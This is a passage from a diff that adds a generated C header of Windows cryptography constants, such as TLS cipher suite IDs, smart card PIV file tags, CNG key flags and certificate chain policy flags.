0x63 +#define TLS_RSA_EXPORT1024_WITH_RC4_56_SHA 0x64 +#define TLS_RSA_WITH_NULL_SHA256 0x3b +#define TLS_RSA_WITH_AES_128_CBC_SHA256 0x3c +#define TLS_RSA_WITH_AES_256_CBC_SHA256 0x3d +#define TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 0x40 +#define TLS_DHE_DSS_WITH_AES_256_CBC_SHA256 0x6a +#define TLS_RSA_WITH_AES_128_GCM_SHA256 0x9c +#define TLS_RSA_WITH_AES_256_GCM_SHA384 0x9d +#define TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 0x9e +#define TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 0x9f +#define TLS_PSK_WITH_AES_128_GCM_SHA256 0xa8 +#define TLS_PSK_WITH_AES_256_GCM_SHA384 0xa9 +#define TLS_PSK_WITH_AES_128_CBC_SHA256 0xae +#define TLS_PSK_WITH_AES_256_CBC_SHA384 0xaf +#define TLS_PSK_WITH_NULL_SHA256 0xb0 +#define TLS_PSK_WITH_NULL_SHA384 0xb1 +#define TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA 0xc009 +#define TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA 0xc013 +#define TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA 0xc00a +#define TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA 0xc014 +#define TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 0xc023 +#define TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 0xc024 +#define TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 0xc02b +#define TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 0xc02c +#define TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 0xc027 +#define TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 0xc028 +#define TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 0xc02f +#define TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 0xc030 +#define TLS_AES_128_GCM_SHA256 0x1301 +#define TLS_AES_256_GCM_SHA384 0x1302 +#define SSL_CK_RC4_128_WITH_MD5 0x10080 +#define SSL_CK_RC4_128_EXPORT40_WITH_MD5 0x20080 +#define SSL_CK_RC2_128_CBC_WITH_MD5 0x30080 +#define SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5 0x40080 +#define SSL_CK_IDEA_128_CBC_WITH_MD5 0x50080 +#define SSL_CK_DES_64_CBC_WITH_MD5 0x60040 +#define SSL_CK_DES_192_EDE3_CBC_WITH_MD5 0x700c0 +#define TLS_ECC_P256_CURVE_KEY_TYPE 0x17 +#define TLS_ECC_P384_CURVE_KEY_TYPE 0x18 +#define TLS_ECC_P521_CURVE_KEY_TYPE 0x19 +// SKIPPED const SSL_ECDSA_ALGORITHM: non-integer constant +// SKIPPED const TLS_PSK_EXCHANGE: non-integer constant +// SKIPPED const TLS_RSA_PSK_EXCHANGE: non-integer constant +#define NCRYPT_SSL_MAX_NAME_SIZE 0x40 +#define NCRYPT_SSL_CIPHER_SUITE_EX_VERSION 0x1 +#define NCRYPT_SSL_CIPHER_LENGTHS_BLOCK_PADDING 0x1 +#define MSCRYPT_ECC_MAX_OID_LENGTH 0xff +#define MSCRYPT_ECC_MAX_CURVE_NAME_LENGTH 0xff +#define NCRYPT_SSL_EAP_PRF_FIELD 0xff +#define NCRYPT_SSL_EAP_ID 0x0 +#define NCRYPT_SSL_EAP_TTLSV0_ID 0x1 +#define NCRYPT_SSL_EAP_TTLSV0_CHLNG_ID 0x2 +#define NCRYPT_SSL_EAP_FAST_ID 0x3 +// SKIPPED const SSL_KEY_TYPE_PROPERTY: non-integer constant +#define NCRYPT_SSL_SIGN_INCLUDE_HASHOID 0x1 +#define NCRYPT_SSL_SIGN_USE_PSS_PADDING 0x2 +#define NCRYPT_SSL_EXTERNAL_PSK_FLAG 0x1 +#define NCRYPT_SSL_RESUMPTION_PSK_FLAG 0x2 +#define CRYPT_PROVIDER_IOCTL__GET_SCHANNEL_INTERFACE 0x3f401c +#define CRYPT_PROVSTRUC_VERSION_V3 0x3 +#define CRYPT_MAX_PROVIDER_ID 0x3e7 +#define CRYPT_SIG_RESOURCE_VERSION 0x100 +#define CRYPT_EXTERNAL_SIGNATURE_LENGTH 0x88 +#define CRYPT_SIG_RESOURCE_NUMBER 0x29a +// SKIPPED const CRYPT_SIG_RESOURCE: non-integer constant +#define CRYPT_MAC_RESOURCE_NUMBER 0x29b +// SKIPPED const CRYPT_MAC_RESOURCE: non-integer constant +#define CUR_OFFLOAD_VERSION 0x1 +#define ROLE_PIN_ALWAYS 0x3 +#define ROLE_PUK 0x4 +// SKIPPED const CP_PIV_CARD_CAPABILITY_CONTAINER: non-integer constant +// SKIPPED const CP_PIV_CARD_HOLDER_UNIQUE_IDENTIFIER: non-integer constant +// SKIPPED const CP_PIV_CARD_HOLDER_UNSIGNED_UNIQUE_IDENTIFIER: non-integer constant +// SKIPPED const CP_PIV_FINGERPRINT: non-integer constant +// SKIPPED const CP_PIV_SECURITY_OBJECT: non-integer constant +// SKIPPED const CP_PIV_FACIAL_IMAGE: non-integer constant +// SKIPPED const CP_PIV_PRINTED_INFORMATION: non-integer constant +// SKIPPED const CP_PIV_GENERATE_KEY: non-integer constant +// SKIPPED const CP_CARD_PIV: non-integer constant +// SKIPPED const CP_PIV_CERTIFICATE: non-integer constant +// SKIPPED const CP_PIV_PUBLIC_KEY: non-integer constant +// SKIPPED const CP_PIV_KEY_HISTORY_OBJECT: non-integer constant +#define CLMD_PIV_CERT_DATA_CURRENT_VERSION 0x0 +#define CLMD_PIV_GENERATE_ASYMMETRIC_KEY_CURRENT_VERSION 0x0 +#define CLMD_PIV_PUBLIC_KEY_DATA_CURRENT_VERSION 0x0 +#define CLMD_FILE_TAG_PIV_AUTH_CERT 0x5fc105 +#define CLMD_FILE_TAG_SIG_CERT 0x5fc10a +#define CLMD_FILE_TAG_KEY_MGMT_CERT 0x5fc10b +#define CLMD_FILE_TAG_CARD_AUTH_CERT 0x5fc101 +#define CLMD_FILE_TAG_CHUID 0x5fc102 +#define CLMD_FILE_TAG_CARD_CAPABILITY_CONTAINER 0x5fc107 +#define CLMD_FILE_TAG_UNSIGNED_CHUID 0x5fc104 +#define CLMD_FILE_TAG_FINGERPRINT 0x5fc103 +#define CLMD_FILE_TAG_SECURITY_OBJECT 0x5fc106 +#define CLMD_FILE_TAG_FACIAL_IMAGE 0x5fc108 +#define CLMD_FILE_TAG_PRINTED_INFORMATION 0x5fc109 +#define CLMD_FILE_TAG_KEY_HISTORY 0x5fc10c +#define CLMD_FILE_TAG_FIRST_RETIRED_KEY_MGMT_KEY 0x5fc10d +#define CLMD_FILE_TAG_LAST_RETIRED_KEY_MGMT_KEY 0x5fc120 +#define SCARD_PROVIDER_CARD_MODULE 0x80000001 +#define CARD_DATA_VALUE_UNKNOWN 0xffffffff +// SKIPPED const szBASE_CSP_DIR: non-integer constant +// SKIPPED const szINTERMEDIATE_CERTS_DIR: non-integer constant +// SKIPPED const szCACHE_FILE: non-integer constant +// SKIPPED const szCARD_IDENTIFIER_FILE: non-integer constant +// SKIPPED const szCONTAINER_MAP_FILE: non-integer constant +// SKIPPED const szROOT_STORE_FILE: non-integer constant +// SKIPPED const szUSER_SIGNATURE_CERT_PREFIX: non-integer constant +// SKIPPED const szUSER_KEYEXCHANGE_CERT_PREFIX: non-integer constant +// SKIPPED const szUSER_SIGNATURE_PRIVATE_KEY_PREFIX: non-integer constant +// SKIPPED const szUSER_SIGNATURE_PUBLIC_KEY_PREFIX: non-integer constant +// SKIPPED const szUSER_KEYEXCHANGE_PRIVATE_KEY_PREFIX: non-integer constant +// SKIPPED const szUSER_KEYEXCHANGE_PUBLIC_KEY_PREFIX: non-integer constant +// SKIPPED const wszCARD_USER_EVERYONE: non-integer constant +// SKIPPED const wszCARD_USER_USER: non-integer constant +// SKIPPED const wszCARD_USER_ADMIN: non-integer constant +#define AT_ECDSA_P256 0x3 +#define AT_ECDSA_P384 0x4 +#define AT_ECDSA_P521 0x5 +#define AT_ECDHE_P256 0x6 +#define AT_ECDHE_P384 0x7 +#define AT_ECDHE_P521 0x8 +#define CARD_CACHE_FILE_CURRENT_VERSION 0x1 +#define MAX_CONTAINER_NAME_LEN 0x27 +#define CONTAINER_MAP_VALID_CONTAINER 0x1 +#define CONTAINER_MAP_DEFAULT_CONTAINER 0x2 +#define CARD_CAPABILITIES_CURRENT_VERSION 0x1 +#define MAX_PINS 0x8 +#define ROLE_EVERYONE 0x0 +#define ROLE_USER 0x1 +#define ROLE_ADMIN 0x2 +#define PIN_SET_NONE 0x0 +#define PIN_SET_ALL_ROLES 0xff +#define PIN_CHANGE_FLAG_UNBLOCK 0x1 +#define PIN_CHANGE_FLAG_CHANGEPIN 0x2 +#define CP_CACHE_MODE_GLOBAL_CACHE 0x1 +#define CP_CACHE_MODE_SESSION_ONLY 0x2 +#define CP_CACHE_MODE_NO_CACHE 0x3 +#define CARD_AUTHENTICATE_GENERATE_SESSION_PIN 0x10000000 +#define CARD_AUTHENTICATE_SESSION_PIN 0x20000000 +#define CARD_PIN_STRENGTH_PLAINTEXT 0x1 +#define CARD_PIN_STRENGTH_SESSION_PIN 0x2 +#define CARD_PIN_SILENT_CONTEXT 0x40 +#define PIN_CACHE_POLICY_CURRENT_VERSION 0x6 +#define PIN_INFO_CURRENT_VERSION 0x6 +#define PIN_INFO_REQUIRE_SECURE_ENTRY 0x1 +#define CARD_CREATE_CONTAINER_KEY_GEN 0x1 +#define CARD_CREATE_CONTAINER_KEY_IMPORT 0x2 +#define CONTAINER_INFO_CURRENT_VERSION 0x1 +#define CARD_AUTHENTICATE_PIN_CHALLENGE_RESPONSE 0x1 +#define CARD_AUTHENTICATE_PIN_PIN 0x2 +#define CARD_FILE_INFO_CURRENT_VERSION 0x1 +#define CARD_FREE_SPACE_INFO_CURRENT_VERSION 0x1 +#define CARD_KEY_SIZES_CURRENT_VERSION 0x1 +#define CARD_RSA_KEY_DECRYPT_INFO_VERSION_ONE 0x1 +#define CARD_RSA_KEY_DECRYPT_INFO_VERSION_TWO 0x2 +#define CARD_RSA_KEY_DECRYPT_INFO_CURRENT_VERSION 0x2 +#define CARD_PADDING_INFO_PRESENT 0x40000000 +#define CARD_BUFFER_SIZE_ONLY 0x20000000 +#define CARD_PADDING_NONE 0x1 +#define CARD_PADDING_PKCS1 0x2 +#define CARD_PADDING_PSS 0x4 +#define CARD_PADDING_OAEP 0x8 +#define CARD_SIGNING_INFO_BASIC_VERSION 0x1 +#define CARD_SIGNING_INFO_CURRENT_VERSION 0x2 +#define CARD_DH_AGREEMENT_INFO_VERSION 0x2 +#define CARD_DERIVE_KEY_VERSION 0x1 +#define CARD_DERIVE_KEY_VERSION_TWO 0x2 +#define CARD_DERIVE_KEY_CURRENT_VERSION 0x2 +#define CARD_RETURN_KEY_HANDLE 0x1000000 +// SKIPPED const CCP_CONTAINER_INFO: non-integer constant +// SKIPPED const CCP_PIN_IDENTIFIER: non-integer constant +// SKIPPED const CCP_ASSOCIATED_ECDH_KEY: non-integer constant +// SKIPPED const CP_CARD_FREE_SPACE: non-integer constant +// SKIPPED const CP_CARD_CAPABILITIES: non-integer constant +// SKIPPED const CP_CARD_KEYSIZES: non-integer constant +// SKIPPED const CP_CARD_READ_ONLY: non-integer constant +// SKIPPED const CP_CARD_CACHE_MODE: non-integer constant +// SKIPPED const CP_SUPPORTS_WIN_X509_ENROLLMENT: non-integer constant +// SKIPPED const CP_CARD_GUID: non-integer constant +// SKIPPED const CP_CARD_SERIAL_NO: non-integer constant +// SKIPPED const CP_CARD_PIN_INFO: non-integer constant +// SKIPPED const CP_CARD_LIST_PINS: non-integer constant +// SKIPPED const CP_CARD_AUTHENTICATED_STATE: non-integer constant +// SKIPPED const CP_CARD_PIN_STRENGTH_VERIFY: non-integer constant +// SKIPPED const CP_CARD_PIN_STRENGTH_CHANGE: non-integer constant +// SKIPPED const CP_CARD_PIN_STRENGTH_UNBLOCK: non-integer constant +// SKIPPED const CP_PARENT_WINDOW: non-integer constant +// SKIPPED const CP_PIN_CONTEXT_STRING: non-integer constant +#define CARD_SECURE_KEY_INJECTION_NO_CARD_MODE 0x1 +#define CARD_KEY_IMPORT_PLAIN_TEXT 0x1 +#define CARD_KEY_IMPORT_RSA_KEYEST 0x2 +#define CARD_KEY_IMPORT_ECC_KEYEST 0x4 +#define CARD_KEY_IMPORT_SHARED_SYMMETRIC 0x8 +#define CARD_CIPHER_OPERATION 0x1 +#define CARD_ASYMMETRIC_OPERATION 0x2 +// SKIPPED const CARD_3DES_112_ALGORITHM: non-integer constant +// SKIPPED const CARD_3DES_ALGORITHM: non-integer constant +// SKIPPED const CARD_AES_ALGORITHM: non-integer constant +// SKIPPED const CARD_CHAIN_MODE_CBC: non-integer constant +#define CARD_IMPORT_KEYPAIR_VERSION_SEVEN 0x7 +#define CARD_IMPORT_KEYPAIR_CURRENT_VERSION 0x7 +#define CARD_CHANGE_AUTHENTICATOR_VERSION_SEVEN 0x7 +#define CARD_CHANGE_AUTHENTICATOR_CURRENT_VERSION 0x7 +#define CARD_CHANGE_AUTHENTICATOR_RESPONSE_VERSION_SEVEN 0x7 +#define CARD_CHANGE_AUTHENTICATOR_RESPONSE_CURRENT_VERSION 0x7 +#define CARD_AUTHENTICATE_VERSION_SEVEN 0x7 +#define CARD_AUTHENTICATE_CURRENT_VERSION 0x7 +#define CARD_AUTHENTICATE_RESPONSE_VERSION_SEVEN 0x7 +#define CARD_AUTHENTICATE_RESPONSE_CURRENT_VERSION 0x7 +// SKIPPED const CP_KEY_IMPORT_SUPPORT: non-integer constant +// SKIPPED const CP_ENUM_ALGORITHMS: non-integer constant +// SKIPPED const CP_PADDING_SCHEMES: non-integer constant +// SKIPPED const CP_CHAINING_MODES: non-integer constant +// SKIPPED const CSF_IMPORT_KEYPAIR: non-integer constant +// SKIPPED const CSF_CHANGE_AUTHENTICATOR: non-integer constant +// SKIPPED const CSF_AUTHENTICATE: non-integer constant +// SKIPPED const CKP_CHAINING_MODE: non-integer constant +// SKIPPED const CKP_INITIALIZATION_VECTOR: non-integer constant +// SKIPPED const CKP_BLOCK_LENGTH: non-integer constant +#define CARD_DATA_VERSION_SEVEN 0x7 +#define CARD_DATA_VERSION_SIX 0x6 +#define CARD_DATA_VERSION_FIVE 0x5 +#define CARD_DATA_VERSION_FOUR 0x4 +#define CARD_DATA_CURRENT_VERSION 0x7 +#define CERT_LOGOTYPE_GRAY_SCALE_IMAGE_INFO_CHOICE 0x1 +#define CERT_LOGOTYPE_COLOR_IMAGE_INFO_CHOICE 0x2 +#define CERT_LOGOTYPE_DIRECT_INFO_CHOICE 0x1 +#define CERT_LOGOTYPE_INDIRECT_INFO_CHOICE 0x2 +#define CRYPT_STRING_BASE64HEADER 0x0 +#define CRYPT_STRING_BASE64 0x1 +#define CRYPT_STRING_BINARY 0x2 +#define CRYPT_STRING_BASE64REQUESTHEADER 0x3 +#define CRYPT_STRING_HEX 0x4 +#define CRYPT_STRING_HEXASCII 0x5 +#define CRYPT_STRING_BASE64X509CRLHEADER 0x9 +#define CRYPT_STRING_HEXADDR 0xa +#define CRYPT_STRING_HEXASCIIADDR 0xb +#define CRYPT_STRING_HEXRAW 0xc +#define CRYPT_STRING_STRICT 0x20000000 +#define CRYPT_STRING_BASE64_ANY 0x6 +#define CRYPT_STRING_ANY 0x7 +#define CRYPT_STRING_HEX_ANY 0x8 +#define BCRYPT_ASYMMETRIC_ENCRYPTION_INTERFACE 0x3 +#define BCRYPT_CIPHER_INTERFACE 0x1 +#define BCRYPT_HASH_INTERFACE 0x2 +#define BCRYPT_RNG_INTERFACE 0x6 +#define BCRYPT_SECRET_AGREEMENT_INTERFACE 0x4 +#define BCRYPT_SIGNATURE_INTERFACE 0x5 +#define NCRYPT_KEY_STORAGE_INTERFACE 0x10001 +#define NCRYPT_SCHANNEL_INTERFACE 0x10002 +#define NCRYPT_SCHANNEL_SIGNATURE_INTERFACE 0x10003 +#define CERT_QUERY_OBJECT_FILE 0x1 +#define CERT_QUERY_OBJECT_BLOB 0x2 +#define AT_KEYEXCHANGE 0x1 +#define AT_SIGNATURE 0x2 +#define CERT_NCRYPT_KEY_SPEC 0xffffffff +#define CRYPT_XML_PROPERTY_MAX_HEAP_SIZE 1 +#define CRYPT_XML_PROPERTY_SIGNATURE_LOCATION 2 +#define CRYPT_XML_PROPERTY_MAX_SIGNATURES 3 +#define CRYPT_XML_PROPERTY_DOC_DECLARATION 4 +#define CRYPT_XML_PROPERTY_XML_OUTPUT_CHARSET 5 +#define InvalidAc 0 +#define EveryoneReadUserWriteAc 1 +#define UserWriteExecuteAc 2 +#define EveryoneReadAdminWriteAc 3 +#define UnknownAc 4 +#define UserReadWriteAc 5 +#define AdminReadWriteAc 6 +#define CMSG_DATA 0x1 +#define CMSG_SIGNED 0x2 +#define CMSG_ENVELOPED 0x3 +#define CMSG_SIGNED_AND_ENVELOPED 0x4 +#define CMSG_HASHED 0x5 +#define CRYPT_DEFAULT_CONTEXT_AUTO_RELEASE_FLAG 0x1 +#define CRYPT_DEFAULT_CONTEXT_PROCESS_FLAG 0x2 +#define CRYPT_EXPORTABLE 0x1 +#define CRYPT_USER_PROTECTED 0x2 +#define CRYPT_ARCHIVABLE 0x4000 +#define CRYPT_CREATE_IV 0x200 +#define CRYPT_CREATE_SALT 0x4 +#define CRYPT_DATA_KEY 0x800 +#define CRYPT_FORCE_KEY_PROTECTION_HIGH 0x8000 +#define CRYPT_KEK 0x400 +#define CRYPT_INITIATOR 0x40 +#define CRYPT_NO_SALT 0x10 +#define CRYPT_ONLINE 0x80 +#define CRYPT_PREGEN 0x40 +#define CRYPT_RECIPIENT 0x10 +#define CRYPT_SF 0x100 +#define CRYPT_SGCKEY 0x2000 +#define CRYPT_VOLATILE 0x1000 +#define CRYPT_MACHINE_KEYSET 0x20 +#define CRYPT_USER_KEYSET 0x1000 +#define PKCS12_PREFER_CNG_KSP 0x100 +#define PKCS12_ALWAYS_CNG_KSP 0x200 +#define PKCS12_ALLOW_OVERWRITE_KEY 0x4000 +#define PKCS12_NO_PERSIST_KEY 0x8000 +#define PKCS12_INCLUDE_EXTENDED_PROPERTIES 0x10 +#define CRYPT_OAEP 0x40 +#define CRYPT_BLOB_VER3 0x80 +#define CRYPT_DESTROYKEY 0x4 +#define CRYPT_SSL2_FALLBACK 0x2 +#define CRYPT_Y_ONLY 0x1 +#define CRYPT_IPSEC_HMAC_KEY 0x100 +#define CERT_SET_KEY_PROV_HANDLE_PROP_ID 0x1 +#define CERT_SET_KEY_CONTEXT_PROP_ID 0x1 +#define CRYPT_XML_CHARSET_AUTO 0 +#define CRYPT_XML_CHARSET_UTF8 1 +#define CRYPT_XML_CHARSET_UTF16LE 2 +#define CRYPT_XML_CHARSET_UTF16BE 3 +#define BCRYPT_RSAPUBLIC_MAGIC 0x31415352 +#define BCRYPT_RSAPRIVATE_MAGIC 0x32415352 +#define BCRYPT_RSAFULLPRIVATE_MAGIC 0x33415352 +#define BCRYPT_ECC_PRIME_SHORT_WEIERSTRASS_CURVE 1 +#define BCRYPT_ECC_PRIME_TWISTED_EDWARDS_CURVE 2 +#define BCRYPT_ECC_PRIME_MONTGOMERY_CURVE 3 +#define BCRYPT_OPERATION_TYPE_HASH 1 +#define ENUM_CEPSETUPPROP_USELOCALSYSTEM 0 +#define ENUM_CEPSETUPPROP_USECHALLENGE 1 +#define ENUM_CEPSETUPPROP_RANAME_CN 2 +#define ENUM_CEPSETUPPROP_RANAME_EMAIL 3 +#define ENUM_CEPSETUPPROP_RANAME_COMPANY 4 +#define ENUM_CEPSETUPPROP_RANAME_DEPT 5 +#define ENUM_CEPSETUPPROP_RANAME_CITY 6 +#define ENUM_CEPSETUPPROP_RANAME_STATE 7 +#define ENUM_CEPSETUPPROP_RANAME_COUNTRY 8 +#define ENUM_CEPSETUPPROP_SIGNINGKEYINFORMATION 9 +#define ENUM_CEPSETUPPROP_EXCHANGEKEYINFORMATION 10 +#define ENUM_CEPSETUPPROP_CAINFORMATION 11 +#define ENUM_CEPSETUPPROP_MSCEPURL 12 +#define ENUM_CEPSETUPPROP_CHALLENGEURL 13 +#define DSA_FIPS186_2 0 +#define DSA_FIPS186_3 1 +#define BCRYPT_DH_PUBLIC_MAGIC 0x42504844 +#define BCRYPT_DH_PRIVATE_MAGIC 0x56504844 +#define CRYPT_XML_STATUS_ERROR_NOT_RESOLVED 0x1 +#define CRYPT_XML_STATUS_ERROR_DIGEST_INVALID 0x2 +#define CRYPT_XML_STATUS_ERROR_NOT_SUPPORTED_ALGORITHM 0x5 +#define CRYPT_XML_STATUS_ERROR_NOT_SUPPORTED_TRANSFORM 0x8 +#define CRYPT_XML_STATUS_ERROR_SIGNATURE_INVALID 0x10000 +#define CRYPT_XML_STATUS_ERROR_KEYINFO_NOT_PARSED 0x20000 +#define CERT_SELECT_BY_ENHKEY_USAGE 0x1 +#define CERT_SELECT_BY_KEY_USAGE 0x2 +#define CERT_SELECT_BY_POLICY_OID 0x3 +#define CERT_SELECT_BY_PROV_NAME 0x4 +#define CERT_SELECT_BY_EXTENSION 0x5 +#define CERT_SELECT_BY_SUBJECT_HOST_NAME 0x6 +#define CERT_SELECT_BY_ISSUER_ATTR 0x7 +#define CERT_SELECT_BY_SUBJECT_ATTR 0x8 +#define CERT_SELECT_BY_ISSUER_NAME 0x9 +#define CERT_SELECT_BY_PUBLIC_KEY 0xa +#define CERT_SELECT_BY_TLS_SIGNATURES 0xb +#define None 1 +#define PKCS7 2 +#define Zeros 3 +#define ANSIX923 4 +#define ISO10126 5 +#define CRYPT_MIN_DEPENDENCIES 0x1 +#define CRYPT_PROCESS_ISOLATE 0x10000 +#define NCRYPT_ASYMMETRIC_ENCRYPTION_INTERFACE 0x3 +#define NCRYPT_SECRET_AGREEMENT_INTERFACE 0x4 +#define NCRYPT_SIGNATURE_INTERFACE 0x5 +#define CRYPT_XML_X509DATA_TYPE_ISSUER_SERIAL 0x1 +#define CRYPT_XML_X509DATA_TYPE_SKI 0x2 +#define CRYPT_XML_X509DATA_TYPE_SUBJECT_NAME 0x3 +#define CRYPT_XML_X509DATA_TYPE_CERTIFICATE 0x4 +#define CRYPT_XML_X509DATA_TYPE_CRL 0x5 +#define CRYPT_XML_X509DATA_TYPE_CUSTOM 0x6 +#define KP_ALGID 0x7 +#define KP_CERTIFICATE 0x1a +#define KP_PERMISSIONS 0x6 +#define KP_SALT 0x2 +#define KP_SALT_EX 0xa +#define KP_BLOCKLEN 0x8 +#define KP_GET_USE_COUNT 0x2a +#define KP_KEYLEN 0x9 +#define KeyTypeOther 0x0 +#define KeyTypeVirtualSmartCard 0x1 +#define KeyTypePhysicalSmartCard 0x2 +#define KeyTypePassport 0x3 +#define KeyTypePassportRemote 0x4 +#define KeyTypePassportSmartCard 0x5 +#define KeyTypeHardware 0x6 +#define KeyTypeSoftware 0x7 +#define KeyTypeSelfSigned 0x8 +#define CERT_STORE_SAVE_TO_FILE 0x1 +#define CERT_STORE_SAVE_TO_FILENAME 0x4 +#define CERT_STORE_SAVE_TO_FILENAME_A 0x3 +#define CERT_STORE_SAVE_TO_FILENAME_W 0x4 +#define CERT_STORE_SAVE_TO_MEMORY 0x2 +#define AuthenticationPin 0 +#define DigitalSignaturePin 1 +#define EncryptionPin 2 +#define NonRepudiationPin 3 +#define AdministratorPin 4 +#define PrimaryCardPin 5 +#define UnblockOnlyPin 6 +#define CERT_RDN_ANY_TYPE 0 +#define CERT_RDN_NUMERIC_STRING 3 +#define CERT_RDN_PRINTABLE_STRING 4 +#define CERT_RDN_T61_STRING 5 +#define CERT_RDN_VIDEOTEX_STRING 6 +#define CERT_RDN_IA5_STRING 7 +#define CERT_RDN_GRAPHIC_STRING 8 +#define CERT_RDN_ISO646_STRING 9 +#define CERT_RDN_GENERAL_STRING 10 +#define CERT_RDN_INT4_STRING 11 +#define CERT_RDN_UNICODE_STRING 12 +#define CERT_RDN_BMP_STRING 12 +#define CERT_RDN_ENCODED_BLOB 1 +#define CERT_RDN_OCTET_STRING 2 +#define CERT_RDN_TELETEX_STRING 5 +#define CERT_RDN_UNIVERSAL_STRING 11 +#define CERT_RDN_UTF8_STRING 13 +#define CERT_RDN_VISIBLE_STRING 9 +#define CERT_SYSTEM_STORE_LOCATION_MASK 0xff0000 +#define CERT_SYSTEM_STORE_RELOCATE_FLAG 0x80000000 +#define CERT_ROOT_PROGRAM_FLAG_LSC 0x40 +#define CERT_ROOT_PROGRAM_FLAG_ORG 0x80 +#define CERT_ROOT_PROGRAM_FLAG_SUBJECT_LOGO 0x20 +#define CERT_QUERY_CONTENT_CERT 0x1 +#define CERT_QUERY_CONTENT_CTL 0x2 +#define CERT_QUERY_CONTENT_CRL 0x3 +#define CERT_QUERY_CONTENT_SERIALIZED_STORE 0x4 +#define CERT_QUERY_CONTENT_SERIALIZED_CERT 0x5 +#define CERT_QUERY_CONTENT_SERIALIZED_CTL 0x6 +#define CERT_QUERY_CONTENT_SERIALIZED_CRL 0x7 +#define CERT_QUERY_CONTENT_PKCS7_SIGNED 0x8 +#define CERT_QUERY_CONTENT_PKCS7_UNSIGNED 0x9 +#define CERT_QUERY_CONTENT_PKCS7_SIGNED_EMBED 0xa +#define CERT_QUERY_CONTENT_PKCS10 0xb +#define CERT_QUERY_CONTENT_PFX 0xc +#define CERT_QUERY_CONTENT_CERT_PAIR 0xd +#define CERT_QUERY_CONTENT_PFX_AND_LOAD 0xe +#define ENUM_CESSETUPPROP_USE_IISAPPPOOLIDENTITY 0 +#define ENUM_CESSETUPPROP_CACONFIG 1 +#define ENUM_CESSETUPPROP_AUTHENTICATION 2 +#define ENUM_CESSETUPPROP_SSLCERTHASH 3 +#define ENUM_CESSETUPPROP_URL 4 +#define ENUM_CESSETUPPROP_RENEWALONLY 5 +#define ENUM_CESSETUPPROP_ALLOW_KEYBASED_RENEWAL 6 +#define PinCacheNormal 0 +#define PinCacheTimed 1 +#define PinCacheNone 2 +#define PinCacheAlwaysPrompt 3 +#define NCRYPT_SILENT_FLAG 0x40 +#define NCRYPT_NO_PADDING_FLAG 0x1 +#define NCRYPT_PAD_OAEP_FLAG 0x4 +#define NCRYPT_PAD_PKCS1_FLAG 0x2 +#define NCRYPT_REGISTER_NOTIFY_FLAG 0x1 +#define NCRYPT_UNREGISTER_NOTIFY_FLAG 0x2 +#define NCRYPT_MACHINE_KEY_FLAG 0x20 +#define NCRYPT_UNPROTECT_NO_DECRYPT 0x1 +#define NCRYPT_OVERWRITE_KEY_FLAG 0x80 +#define NCRYPT_NO_KEY_VALIDATION 0x8 +#define NCRYPT_WRITE_KEY_TO_LEGACY_STORE_FLAG 0x200 +#define NCRYPT_PAD_PSS_FLAG 0x8 +#define NCRYPT_PERSIST_FLAG 0x80000000 +#define NCRYPT_PERSIST_ONLY_FLAG 0x40000000 +#define CRYPT_XML_GROUP_ID_HASH 0x1 +#define CRYPT_XML_GROUP_ID_SIGN 0x2 +#define SIGNER_CERT_SPC_FILE 0x1 +#define SIGNER_CERT_STORE 0x2 +#define SIGNER_CERT_SPC_CHAIN 0x3 +#define X509_ASN_ENCODING 0x1 +#define PKCS_7_ASN_ENCODING 0x10000 +#define CERT_LOGOTYPE_NO_IMAGE_RESOLUTION_CHOICE 0x0 +#define CERT_LOGOTYPE_BITS_IMAGE_RESOLUTION_CHOICE 0x1 +#define CERT_LOGOTYPE_TABLE_SIZE_IMAGE_RESOLUTION_CHOICE 0x2 +#define CERT_SIMPLE_NAME_STR 0x1 +#define CERT_OID_NAME_STR 0x2 +#define CERT_X500_NAME_STR 0x3 +#define CMSG_KEY_AGREE_ORIGINATOR_CERT 0x1 +#define CMSG_KEY_AGREE_ORIGINATOR_PUBLIC_KEY 0x2 +#define CERT_ID_ISSUER_SERIAL_NUMBER 0x1 +#define CERT_ID_KEY_IDENTIFIER 0x2 +#define CERT_ID_SHA1_HASH 0x3 +#define AlphaNumericPinType 0 +#define ExternalPinType 1 +#define ChallengeResponsePinType 2 +#define EmptyPinType 3 +#define CERT_CHAIN_FIND_BY_ISSUER_COMPARE_KEY_FLAG 0x1 +#define CERT_CHAIN_FIND_BY_ISSUER_COMPLEX_CHAIN_FLAG 0x2 +#define CERT_CHAIN_FIND_BY_ISSUER_CACHE_ONLY_FLAG 0x8000 +#define CERT_CHAIN_FIND_BY_ISSUER_CACHE_ONLY_URL_FLAG 0x4 +#define CERT_CHAIN_FIND_BY_ISSUER_LOCAL_MACHINE_FLAG 0x8 +#define CERT_CHAIN_FIND_BY_ISSUER_NO_KEY_FLAG 0x4000 +#define CRYPT_FIND_USER_KEYSET_FLAG 0x1 +#define CRYPT_FIND_MACHINE_KEYSET_FLAG 0x2 +#define CRYPT_FIND_SILENT_KEYSET_FLAG 0x40 +#define CERT_CHAIN_POLICY_IGNORE_NOT_TIME_VALID_FLAG 0x1 +#define CERT_CHAIN_POLICY_IGNORE_CTL_NOT_TIME_VALID_FLAG 0x2 +#define CERT_CHAIN_POLICY_IGNORE_NOT_TIME_NESTED_FLAG 0x4 +#define CERT_CHAIN_POLICY_IGNORE_INVALID_BASIC_CONSTRAINTS_FLAG 0x8 +#define CERT_CHAIN_POLICY_IGNORE_ALL_NOT_TIME_VALID_FLAGS 0x7 +#define CERT_CHAIN_POLICY_ALLOW_UNKNOWN_CA_FLAG 0x10 +#define CERT_CHAIN_POLICY_IGNORE_WRONG_USAGE_FLAG 0x20 +#define CERT_CHAIN_POLICY_IGNORE_INVALID_NAME_FLAG 0x40 +#define CERT_CHAIN_POLICY_IGNORE_INVALID_POLICY_FLAG 